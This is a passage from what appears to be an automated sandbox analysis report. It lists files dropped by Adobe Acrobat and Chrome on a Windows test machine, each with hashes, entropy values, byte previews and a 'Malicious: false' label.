SHA1:	003E00DB52BD5EA24779D0A964D4518165395FA7
SHA-256:	51E9AC9DB68E3C03526CB177426D666710ED6C729D9D2FBBFEDC6DD75D4BA28C
SHA-512:	E45420600B36E0FC5696183A9A38C3F4C82F8964B525E6AEF02298568472E66E00D9F66FA8377166005BEF8F33004F1B3573E771C639A22C8F22B6C35FADA475
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fb2ebc05-5156-4a13-be6f-a6b9d610df0d","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1732374007668,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2817
Entropy (8bit):	5.129941299191127
Encrypted:	false
SSDEEP:	48:Yd37olWlk0aHKaNlzTsW6vZE1U9D4oijF:G7olWl3aqaN536vwq8TF
MD5:	1FB5690867B8B4020668B70D304BF2B8
SHA1:	3BCCA6C79B1F5E0C0F2A0BF876C9EFBE6E4DA2AA
SHA-256:	DB2E860CCA86DB7A372C101730DA9F2C0B812A595138A1CA8402FE85437EF871
SHA-512:	BAFBC7CDD91DB6C2CCF231A7C61399617B1F52B90303B7A74914D5CD7246FE6216415B1E2F18773EBD17B9F50BEA9136186561FF49BDAB7CF7BBA3697A7D6CD6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"560fe8d2f12e3600841f9dd520845327","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1122,"ts":1732196647000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a0d7d9890442af7c5363dae8180a56de","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1732196647000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f8bf7f4f06f7c23ce5bf030e9506e177","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1732196647000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"01c3e803acc105c1493f1e419540248e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1732196647000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"defd7b767f98ee336f70e43490264fc4","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1102,"ts":1732196647000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"84da0671bca31cc6075e3123ebaf74ba","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9868438283700334
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs67Y9QmQ6QeckIcLESiAieEAcF:TVl2GL7ms67YXtrMcI8Dw
MD5:	C1F9F5158519739E468290859AC485CD
SHA1:	FC80F3527A4960EB40EFC22A1C12AB5ECFFEF017
SHA-256:	6590A42B1318AB7906A5D399EAEF031D7290FFAC15D106F106CB665E8F728DC6
SHA-512:	A27FE82FE9BD78C97B9FDA9A81AA532DA97ADCD5A276FED9AE73D94804442341544C86CDEE12F2B7949B7D7680C7B79A1BAF5669789938130736902B20410757
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.341919761152586
Encrypted:	false
SSDEEP:	24:7+tRASY9QmQ6Qeck7cLESiAi0mY9QfqLBx/XYKQvGJF7ursyJs:7MRlYXtr/cI8KYGqll2GL7msN
MD5:	E02F006083FEAECA80D8440411D27DE6
SHA1:	ADDDDC57388121F46C9E9367F037DC584DEC8B19
SHA-256:	C56BA31F3C6EAB9C2EFFB5E164352C8D57B8113C7D14387DA0BC8BFF4A11906F
SHA-512:	59303C6DAC4E51F61CB733344D571BBA013D1D86D5EF9D62289A26B48679DA4B0A71EDCACC9BBB74D3BEB22D9FDDB893DADC35DABF53417156037571A4EA217E
Malicious:	false
Preview:	.... .c.....I.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgxsDa3u16kl7xEeylFPfUjFhLQP5JYyu:6a6TZ44ADExQa3o6kl7byHT5JK
MD5:	9A2232683A93543352B622969CF1C6B6
SHA1:	97214903F26175962BF4F47D7D4C6788774C69C4
SHA-256:	19673B161859AAE326449349FD11D96EC97876FDD9D50852F5161D70D89AA9FE
SHA-512:	174E3EA0CD3D684A7826FF68EB547B09DBBA7023F25D57B44BE5907809BA180689917DD808F0C2F3A1CBCF3544F1FB1FE7F95B93087DFCA63D467287D3ECB496
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSI2b38f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.50000825118868
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8hlI:Qw946cPbiOxDlbYnuRKP
MD5:	97BE537E3BF69E9DB27C31234AFB705E
SHA1:	5BAAD2584186D8E12E1DAB5723376C1E47A59FC8
SHA-256:	E2F286C8F669D9C7E8AE5667F73052D4C11D3411CE12042BF198568DB42E2BCE
SHA-512:	5ECC750BD8329C57123026784AE96BEFA484FE72FC3090A398BAB6ACA7BB863E6F8DFD563F61C813C33B88CCB59E569C39B6FD3D6C406EF445359C0CDBF26A82
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.1./.1.1./.2.0.2.4. . .0.8.:.4.4.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-21 08-43-58-941.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.353642815103214
Encrypted:	false
SSDEEP:	384:tbxtsuP+XEWJJQbnR8L31M7HeltV+KYm3wsa2KjF4ODkr/O8r2IUHUHMWwEyZRN2:aPL
MD5:	91F06491552FC977E9E8AF47786EE7C1
SHA1:	8FEB27904897FFCC2BE1A985D479D7F75F11CEFC
SHA-256:	06582F9F48220653B0CB355A53A9B145DA049C536D00095C57FCB3E941BA90BB
SHA-512:	A63E6E0D25B88EBB6602885AB8E91167D37267B24516A11F7492F48876D3DDCAE44FFC386E146F3CF6EB4FA6AF251602143F254687B17FCFE6F00783095C5082
Malicious:	false
Preview:	SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:072+0200 ThreadID=6404 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=ec4bacf2-5410-40d4-850b-5ac338f864f3.1696585143072 Timestamp=2023-10-06T11:39:03:073+0200 ThreadID=6404 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364498095864939
Encrypted:	false
SSDEEP:	384:xik3setXi0ljwgxMwpOH4aHy25UjEVBjDcRlHbHVoGm/8AjXtkKdVI2jusGA+LD5:BYC
MD5:	2E1987BB9945F49C8460E723E5537BB4
SHA1:	134EE888900AD489DEC57FB55E3C121BF6A07A41
SHA-256:	564D26B561DDE1AFADD57B052C52C5C2AA2153490CF495B3517B9CB0885CB655
SHA-512:	F09D880D16545F8B6DD620B13D99ECB602993F5205C7BF8F9D1779B1C741A5D570AB8827F310C9A8AB870A7AFC1E8C56083A3010818D91D97629624D80A1394F
Malicious:	false
Preview:	SessionID=863707f6-0cd3-48a7-9722-4200a3d8eca4.1732196638974 Timestamp=2024-11-21T08:43:58:974-0500 ThreadID=4592 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=863707f6-0cd3-48a7-9722-4200a3d8eca4.1732196638974 Timestamp=2024-11-21T08:43:58:976-0500 ThreadID=4592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=863707f6-0cd3-48a7-9722-4200a3d8eca4.1732196638974 Timestamp=2024-11-21T08:43:58:976-0500 ThreadID=4592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=863707f6-0cd3-48a7-9722-4200a3d8eca4.1732196638974 Timestamp=2024-11-21T08:43:58:976-0500 ThreadID=4592 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=863707f6-0cd3-48a7-9722-4200a3d8eca4.1732196638974 Timestamp=2024-11-21T08:43:58:976-0500 ThreadID=4592 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.42291330523777
Encrypted:	false
SSDEEP:	192:0cbgIhPcbocbAIlncb2cbwI/RcbNcbQIVvcbAcbeISQcbR:fhWlA/TVYSP
MD5:	8E2CD652E0DD829D990169F237D200D2
SHA1:	2A1E08F63A79FC89AA9ED406E0B396F085FF44E1
SHA-256:	1967FD41D6CA384F3DA735318CFAABB4324982CA1DD8D651D25D921FECC0A701
SHA-512:	6E2F99F7CAB4925CC320B0DE59977A9CA999E8154BA4FBC8338E3163988EFDB87354DD25C59C0C2D4D55B4174C11099C6E64E3CA4FF5811D51C533B0F386ECE5
Malicious:	false
Preview:	06-10-2023 10:08:42:.---2---..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : *************************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : ***********************************..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Starting NGL..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..06-10-2023 10:08:42:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..06-10-2023 10:08:42:.Closing File..06-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42972af2-de9e-4cd5-8384-31a0a961cdb2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:bWNh3P6+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:C3PDegf121YS8lkipdjMMNB1DofjgJJg
MD5:	59EE5E2FB56A099CAA8EDFD7AF821ED6
SHA1:	F5DC4F876768D57B69EC894ADE0A66E813BFED92
SHA-256:	E100AAAA4FB2B3D78E3B6475C3B48BE189C5A39F73CFC2D22423F2CE928D3E75
SHA-512:	77A45C89F6019F92576D88AE67B59F9D6D36BA6FDC020419DAB55DBD8492BA97B3DAC18278EB0210F90758B3D643EA8DCF8EC2BD1481930A59B8BB515E7440FE
Malicious:	false
Preview:	...........].s..R/c..D@..\......3Z.....E.,...d{.k.~..H3....-......A...<>n.......X..Dp..d......f.{...9&F..........R.UW-..^..zC.kjOUUMm...nW...Z.7.J.R.....=.R........4..(WCMQ..u]]R...R......5...N)].....!.-.d]M....7.......i..rmP...6A.Z .=..~..$C-..}..Mo.T......:._'.S....r.9....6.....r....#...<U@.Iiu..X].T x.j....x...:q.....j]P3......[.5]\|..7;.5....^..7(.E..@..s...2..}..j.......t.5J...6Rf..%P{2T^$Y.V.O9.W...4...\ .5............Q.&j....h.+.u......W...4f]..s..(...:....`.<W_...zBs\|tF5 NI4.zD..5...u...!........M.0.K%F....,.c.....>R6..i..Am.y.~5..S....M...^......F.&..V...Z.......i....b....V..,.UH"...W...5}A.....KUT..=6jZ.....B...Z...Y(..u...=....x,2..."._Cf.....b...z7..... r..#.r..L9....2...R,..J?&..p..~.....3.=z...w..m..U..%._#<....r.....B.z..G..D.:4m.Z.&.N......</..Dz+.......vn.....;Qhk....!dw...A......3..a..K...).Q.`t[..)].6.%@....v.g.%E>;Z...uz.L..6Ct..O.Eo.O.e..........J.J$...:....K..)......F.....ZWE...z..5..g.io...l2[.,m9X..f......5\|:bj[.._R{gi...^

C:\Users\user\AppData\Local\Temp\acrocef_low\448f02f5-5a7e-4848-ac08-4fd4b61a06bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\58f71031-c781-4695-ac5c-6fe2c3c76417.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\ad8e4243-1991-4e86-a862-ebd86b636c42.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:GqA7ouWLqGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:5VuWLqGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	4DA39DAD789725DFA78CBEAED14C3CD4
SHA1:	C3B1116FCFDD5297ACC4B8CED673BAC4F8C8DF6B
SHA-256:	AAF8116CE62402CEBB58960F67B1CEC739840D7A06A5B1B0FB2C4ADD146D7C60
SHA-512:	A9F33C7D7D3E781574EEB7CEF0A954D86BF0A67009FFFD2D936BC9EAA3CF9209C72B22CECF365EF53CC895225B04F470E91C64E40FE3465FC70BE529DF1C60F1
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:44:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.976686626763131
Encrypted:	false
SSDEEP:	48:8IdiTuyfHoidAKZdA1FehwiZUklqehvy+3:8lz28y
MD5:	9B44057611C77BF5A023EE1E8BA374F5
SHA1:	32E70BFB03125A518D74E0F22953C7883C6CF743
SHA-256:	7CED7AC3BE750FCFABB42BF966B34543719A3D206E47FFF96AD704A21F1A8837
SHA-512:	E615FEA52AF422DE4C9F0A709C37618EF1699CB6C01AA2E62DB3D8CFB95332AF51035060415D17678FF0CDFA9ACF3A73EC3CE64B6FE88F8F433D69E7F29122DB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......_x.<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:44:21 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.9934730571779586
Encrypted:	false
SSDEEP:	48:8BdiTuyfHoidAKZdA1seh/iZUkAQkqehsy+2:8mzQ9Qdy
MD5:	7034274A093121C25D48F6442C5D5EE9
SHA1:	D283B15698C0C89D421DC939CC3A8D142807756F
SHA-256:	657F48F34466FA63BF920C43D219B0A630AA473E593631B55AB23652F9598E10
SHA-512:	88D56E3A3A034DB579E53B12E3C52A2D63E3508F903F4F3866E033729110E6A2702E8828B3C3B74BB0EB20D0400839986421CD8A1239397DD036CB45D17B3037
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Rx.<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IuYsm....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........28.r.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.002409891300151
Encrypted:	false
SSDEEP:	48:8qdiTuyAHoidAKZdA14meh7sFiZUkmgqeh7sCy+BX:8Lzdn4y
MD5:	DAB203997A3DACC77875A7152C23E4D5
SHA1:	066A257A030E040CAE462442518FC3612063A376
SHA-256:	C5B8903BF6C5310F2B68D1F5A821B524CFD0CF74FDDAEDD7DDD29D5735FADF15
